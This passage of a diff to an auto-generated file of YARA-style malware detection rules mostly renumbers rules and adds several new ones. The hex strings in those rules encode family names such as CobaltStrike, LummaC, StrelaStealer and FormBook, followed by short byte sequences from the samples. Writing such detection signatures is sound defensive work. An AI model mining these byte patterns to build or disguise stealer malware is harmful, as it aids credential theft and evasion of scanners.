0a 00 01 00 21 " @@ -40899,7 +42364,7 @@ rule _InfrastructureShared_3959{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_3960{ +rule _InfrastructureShared_4102{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -40909,7 +42374,7 @@ rule _InfrastructureShared_3960{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_3961{ +rule _InfrastructureShared_4103{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -40919,7 +42384,7 @@ rule _InfrastructureShared_3961{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_3962{ +rule _InfrastructureShared_4104{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -40929,7 +42394,37 @@ rule _InfrastructureShared_3962{ ((#a_4c_0 & 1)*21539) >=10 } -rule _InfrastructureShared_3963{ +rule _InfrastructureShared_4105{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 46 48 21 4d 54 42 00 0a 00 1f 01 48 89 5c 24 08 57 48 83 ec 20 48 8b 59 10 48 8b f9 48 8b 49 08 ff 17 33 d2 41 b8 00 80 00 00 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=10 + +} +rule _InfrastructureShared_4106{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 75 6d 6d 61 43 2e 47 4d 58 21 4d 54 42 00 0a 00 24 03 89 c1 c1 e9 0f 31 c1 89 4c 24 90 01 01 8b 05 90 01 04 8d 48 90 01 01 0f af c8 f6 c1 01 b8 90 01 04 b9 90 00 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=10 + +} +rule _InfrastructureShared_4107{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 74 72 65 6c 61 53 74 65 61 6c 65 72 2e 47 54 58 21 4d 54 42 00 0a 00 1d 03 0f b6 08 8b 95 90 01 04 31 d1 48 8b 85 90 01 04 88 08 c7 85 90 01 04 9b 2b fb 25 90 00 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=10 + +} +rule _InfrastructureShared_4108{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,28 00 28 00 04 00 21 " @@ -40940,7 +42435,7 @@ rule _InfrastructureShared_3963{ ((#a_5f_0 & 1)*16931+(#a_3a_2 & 1)*19521) >=40 } -rule _InfrastructureShared_3964{ +rule _InfrastructureShared_4109{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -40950,7 +42445,7 @@ rule _InfrastructureShared_3964{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_3965{ +rule _InfrastructureShared_4110{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -40960,7 +42455,7 @@ rule _InfrastructureShared_3965{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_3966{ +rule _InfrastructureShared_4111{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -40970,7 +42465,7 @@ rule _InfrastructureShared_3966{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_3967{ +rule _InfrastructureShared_4112{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -40980,7 +42475,7 @@ rule _InfrastructureShared_3967{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_3968{ +rule _InfrastructureShared_4113{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -40990,7 +42485,7 @@ rule _InfrastructureShared_3968{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_3969{ +rule _InfrastructureShared_4114{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -41000,7 +42495,7 @@ rule _InfrastructureShared_3969{ ((#a_54_0 & 1)*18467) >=100 } -rule _InfrastructureShared_3970{ +rule _InfrastructureShared_4115{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41010,7 +42505,7 @@ rule _InfrastructureShared_3970{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3971{ +rule _InfrastructureShared_4116{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41020,7 +42515,7 @@ rule _InfrastructureShared_3971{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3972{ +rule _InfrastructureShared_4117{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41030,7 +42525,17 @@ rule _InfrastructureShared_3972{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3973{ +rule _InfrastructureShared_4118{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 68 61 64 6f 77 4c 6f 61 64 65 72 2e 42 21 64 68 61 00 01 00 22 42 5a 02 58 25 1e 64 61 7e 90 01 01 00 00 04 58 25 1e 62 61 7e 90 01 01 00 00 04 5a 25 1e 64 61 2a 90 00 00 00 78 53 00 00 01 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=1 + +} +rule _InfrastructureShared_4119{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41040,7 +42545,7 @@ rule _InfrastructureShared_3973{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3974{ +rule _InfrastructureShared_4120{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41050,7 +42555,7 @@ rule _InfrastructureShared_3974{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3975{ +rule _InfrastructureShared_4121{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41060,7 +42565,7 @@ rule _InfrastructureShared_3975{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3976{ +rule _InfrastructureShared_4122{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41070,7 +42575,7 @@ rule _InfrastructureShared_3976{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3977{ +rule _InfrastructureShared_4123{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41080,7 +42585,7 @@ rule _InfrastructureShared_3977{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3978{ +rule _InfrastructureShared_4124{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41090,7 +42595,7 @@ rule _InfrastructureShared_3978{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3979{ +rule _InfrastructureShared_4125{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41100,7 +42605,7 @@ rule _InfrastructureShared_3979{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3980{ +rule _InfrastructureShared_4126{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41110,7 +42615,7 @@ rule _InfrastructureShared_3980{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3981{ +rule _InfrastructureShared_4127{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41120,7 +42625,7 @@ rule _InfrastructureShared_3981{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3982{ +rule _InfrastructureShared_4128{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41130,7 +42635,7 @@ rule _InfrastructureShared_3982{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3983{ +rule _InfrastructureShared_4129{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41140,7 +42645,7 @@ rule _InfrastructureShared_3983{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3984{ +rule _InfrastructureShared_4130{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41150,7 +42655,7 @@ rule _InfrastructureShared_3984{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3985{ +rule _InfrastructureShared_4131{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41160,7 +42665,7 @@ rule _InfrastructureShared_3985{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3986{ +rule _InfrastructureShared_4132{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41170,7 +42675,7 @@ rule _InfrastructureShared_3986{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3987{ +rule _InfrastructureShared_4133{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41180,7 +42685,7 @@ rule _InfrastructureShared_3987{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3988{ +rule _InfrastructureShared_4134{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41190,7 +42695,7 @@ rule _InfrastructureShared_3988{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3989{ +rule _InfrastructureShared_4135{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41200,7 +42705,7 @@ rule _InfrastructureShared_3989{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3990{ +rule _InfrastructureShared_4136{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41210,7 +42715,7 @@ rule _InfrastructureShared_3990{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3991{ +rule _InfrastructureShared_4137{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41220,7 +42725,7 @@ rule _InfrastructureShared_3991{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3992{ +rule _InfrastructureShared_4138{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41230,7 +42735,7 @@ rule _InfrastructureShared_3992{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3993{ +rule _InfrastructureShared_4139{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41240,7 +42745,7 @@ rule _InfrastructureShared_3993{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3994{ +rule _InfrastructureShared_4140{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41250,7 +42755,7 @@ rule _InfrastructureShared_3994{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3995{ +rule _InfrastructureShared_4141{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41260,7 +42765,7 @@ rule _InfrastructureShared_3995{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3996{ +rule _InfrastructureShared_4142{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41270,7 +42775,7 @@ rule _InfrastructureShared_3996{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3997{ +rule _InfrastructureShared_4143{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41280,7 +42785,7 @@ rule _InfrastructureShared_3997{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3998{ +rule _InfrastructureShared_4144{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41290,7 +42795,7 @@ rule _InfrastructureShared_3998{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3999{ +rule _InfrastructureShared_4145{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41300,7 +42805,7 @@ rule _InfrastructureShared_3999{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_4000{ +rule _InfrastructureShared_4146{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41310,7 +42815,7 @@ rule _InfrastructureShared_4000{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_4001{ +rule _InfrastructureShared_4147{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41320,7 +42825,17 @@ rule _InfrastructureShared_4001{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_4002{ +rule _InfrastructureShared_4148{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 54 65 64 79 2e 52 54 21 4d 54 42 00 01 00 28 03 89 f8 83 e0 90 01 01 40 8a 2c 18 48 89 f1 48 89 fa e8 90 01 04 40 30 28 48 ff c7 48 89 f1 e8 90 01 04 48 39 c7 72 90 00 00 00 78 53 00 00 01 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=1 + +} +rule _InfrastructureShared_4149{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41330,7 +42845,7 @@ rule _InfrastructureShared_4002{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4003{ +rule _InfrastructureShared_4150{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41340,7 +42855,7 @@ rule _InfrastructureShared_4003{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4004{ +rule _InfrastructureShared_4151{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41350,7 +42865,7 @@ rule _InfrastructureShared_4004{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4005{ +rule _InfrastructureShared_4152{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41360,7 +42875,17 @@ rule _InfrastructureShared_4005{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4006{ +rule _InfrastructureShared_4153{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 41 4a 21 4d 54 42 00 01 00 28 01 8b c1 83 e0 03 8a 44 05 08 30 04 0a 41 3b ce 72 ef 80 3a 55 75 12 80 7a 01 8b 75 0c 80 7a 02 ec 75 06 80 7a 03 83 74 17 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_4154{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41370,7 +42895,7 @@ rule _InfrastructureShared_4006{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4007{ +rule _InfrastructureShared_4155{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41380,7 +42905,7 @@ rule _InfrastructureShared_4007{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4008{ +rule _InfrastructureShared_4156{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41390,7 +42915,7 @@ rule _InfrastructureShared_4008{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4009{ +rule _InfrastructureShared_4157{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41400,7 +42925,7 @@ rule _InfrastructureShared_4009{ ((#a_6f_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4010{ +rule _InfrastructureShared_4158{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41410,7 +42935,7 @@ rule _InfrastructureShared_4010{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_4011{ +rule _InfrastructureShared_4159{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -41420,7 +42945,7 @@ rule _InfrastructureShared_4011{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_4012{ +rule _InfrastructureShared_4160{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -41431,7 +42956,7 @@ rule _InfrastructureShared_4012{ ((#a_54_0 & 1)*18467+(#a_52_1 & 1)*21320) >=1 } -rule _InfrastructureShared_4013{ +rule _InfrastructureShared_4161{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -41442,7 +42967,7 @@ rule _InfrastructureShared_4013{ ((#a_54_0 & 1)*18467+(#a_52_1 & 1)*21320) >=1 } -rule _InfrastructureShared_4014{ +rule _InfrastructureShared_4162{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -41453,7 +42978,7 @@ rule _InfrastructureShared_4014{ ((#a_54_0 & 1)*18467+(#a_52_1 & 1)*21320) >=1 } -rule _InfrastructureShared_4015{ +rule _InfrastructureShared_4163{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -41464,7 +42989,7 @@ rule _InfrastructureShared_4015{ ((#a_54_0 & 1)*18467+(#a_52_1 & 1)*21320) >=1 } -rule _InfrastructureShared_4016{ +rule _InfrastructureShared_4164{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -41475,39 +43000,29 @@ rule _InfrastructureShared_4016{ ((#a_54_0 & 1)*18467+(#a_3a_1 & 1)*28492) >=1 } -rule _InfrastructureShared_4017{ +rule _InfrastructureShared_4165{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " strings : $a_44_0 = {56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 41 43 56 00 01 00 10 03 ba 74 37 9e 8b 90 01 01 0c 90 09 03 00 c7 90 00 01 00 10 03 ba 74 27 9e 8b 90 01 01 0c 90 09 03 00 c7 90 00 00 00 78 53 00 00 01 00 01 00 02 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 14 } //19491 - $a_77_1 = {6f 63 6b 65 74 33 32 2e 64 6c 6c 00 52 75 6e 00 01 00 14 01 52 61 77 53 6f 63 6b 65 74 36 34 2e 64 6c 6c 00 52 75 6e 00 00 00 78 53 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 54 59 21 4d 54 42 00 02 00 22 01 2b 12 72 37 } //20993 + $a_77_1 = {6f 63 6b 65 74 33 32 2e 64 6c 6c 00 52 75 6e 00 01 00 14 01 52 61 77 53 6f 63 6b 65 74 36 34 2e 64 6c 6c 00 52 75 6e 00 00 00 78 53 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4d 61 74 72 69 6f 73 6b 61 2e 53 4b 21 4d 54 42 00 02 00 24 01 07 06 11 06 9a 1f } //20993 condition: ((#a_44_0 & 1)*19491+(#a_77_1 & 1)*20993) >=1 } -rule _InfrastructureShared_4018{ +rule _InfrastructureShared_4166{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " strings : - $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 14 01 52 61 77 53 6f 63 6b 65 74 33 32 2e 64 6c 6c 00 52 75 6e 00 01 00 14 01 52 61 77 53 6f 63 6b 65 74 36 34 2e 64 6c 6c 00 52 75 6e 00 00 00 78 53 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 } //25635 - $a_4d_1 = {42 00 02 00 22 01 2b 12 72 37 00 00 70 7e 04 00 00 04 2b 0d 74 16 00 00 1b 2a 28 09 00 00 06 2b e7 } //22868 + $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 14 01 52 61 77 53 6f 63 6b 65 74 33 32 2e 64 6c 6c 00 52 75 6e 00 01 00 14 01 52 61 77 53 6f 63 6b 65 74 36 34 2e 64 6c 6c 00 52 75 6e 00 00 00 78 53 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4d 61 74 72 69 6f 73 6b 61 2e 53 4b } //25635 + $a_42_1 = {02 00 24 01 07 06 11 06 9a 1f 10 28 8a 00 00 0a 8c 65 00 00 01 6f 8b 00 00 0a 26 11 06 17 58 13 06 11 06 06 8e 69 32 dc 00 00 78 53 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 74 65 61 6c 65 72 2e 53 57 41 21 4d 54 } //19745 condition: - ((#a_5f_0 & 1)*25635+(#a_4d_1 & 1)*22868) >=1 + ((#a_5f_0 & 1)*25635+(#a_42_1 & 1)*19745) >=1 } -rule _InfrastructureShared_4019{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 54 59 21 4d 54 42 00 02 00 22 01 2b 12 72 37 00 00 70 7e 04 00 00 04 2b 0d 74 16 00 00 1b 2a 28 09 00 00 06 2b e7 6f 6b 00 00 0a 2b ec 00 00 78 53 00 00 02 } //16675 - condition: - ((#a_46_0 & 1)*16675) >=2 - -} -rule _InfrastructureShared_4020{ +rule _InfrastructureShared_4167{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -41517,7 +43032,17 @@ rule _InfrastructureShared_4020{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_4021{ +rule _InfrastructureShared_4168{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 74 65 61 6c 65 72 2e 53 57 41 21 4d 54 42 00 02 00 25 01 14 16 9a 26 16 2d f9 16 8d 03 00 00 01 80 34 00 00 04 14 80 35 00 00 04 16 80 36 00 00 04 16 80 37 00 00 04 2a 00 00 78 53 00 00 02 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=2 + +} +rule _InfrastructureShared_4169{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -41527,7 +43052,17 @@ rule _InfrastructureShared_4021{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_4022{ +rule _InfrastructureShared_4170{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 45 48 48 4a 21 4d 54 42 00 02 00 23 03 2b 17 00 11 04 1f 20 ?? ?? ?? ?? ?? ?? ?? 00 00 0a 00 00 11 10 17 58 13 10 11 10 1f 32 fe 04 13 11 11 11 2d dd } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_4171{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -41537,7 +43072,7 @@ rule _InfrastructureShared_4022{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_4023{ +rule _InfrastructureShared_4172{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -41547,7 +43082,7 @@ rule _InfrastructureShared_4023{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_4024{ +rule _InfrastructureShared_4173{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -41557,7 +43092,7 @@ rule _InfrastructureShared_4024{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_4025{ +rule _InfrastructureShared_4174{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -41567,7 +43102,7 @@ rule _InfrastructureShared_4025{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_4026{ +rule _InfrastructureShared_4175{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -41577,7 +43112,7 @@ rule _InfrastructureShared_4026{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_4027{ +rule _InfrastructureShared_4176{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -41587,7 +43122,7 @@ rule _InfrastructureShared_4027{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_4028{ +rule _InfrastructureShared_4177{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -41597,7 +43132,7 @@ rule _InfrastructureShared_4028{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_4029{ +rule _InfrastructureShared_4178{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -41607,7 +43142,7 @@ rule _InfrastructureShared_4029{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_4030{ +rule _InfrastructureShared_4179{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -41618,7 +43153,7 @@ rule _InfrastructureShared_4030{ ((#a_54_0 & 1)*18467+(#a_52_1 & 1)*21320) >=2 } -rule _InfrastructureShared_4031{ +rule _InfrastructureShared_4180{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -41629,7 +43164,7 @@ rule _InfrastructureShared_4031{ ((#a_54_0 & 1)*18467+(#a_52_1 & 1)*21320) >=2 } -rule _InfrastructureShared_4032{ +rule _InfrastructureShared_4181{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -41640,7 +43175,7 @@ rule _InfrastructureShared_4032{ ((#a_54_0 & 1)*18467+(#a_52_1 & 1)*21320) >=2 } -rule _InfrastructureShared_4033{ +rule _InfrastructureShared_4182{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -41651,7 +43186,7 @@ rule _InfrastructureShared_4033{ ((#a_54_0 & 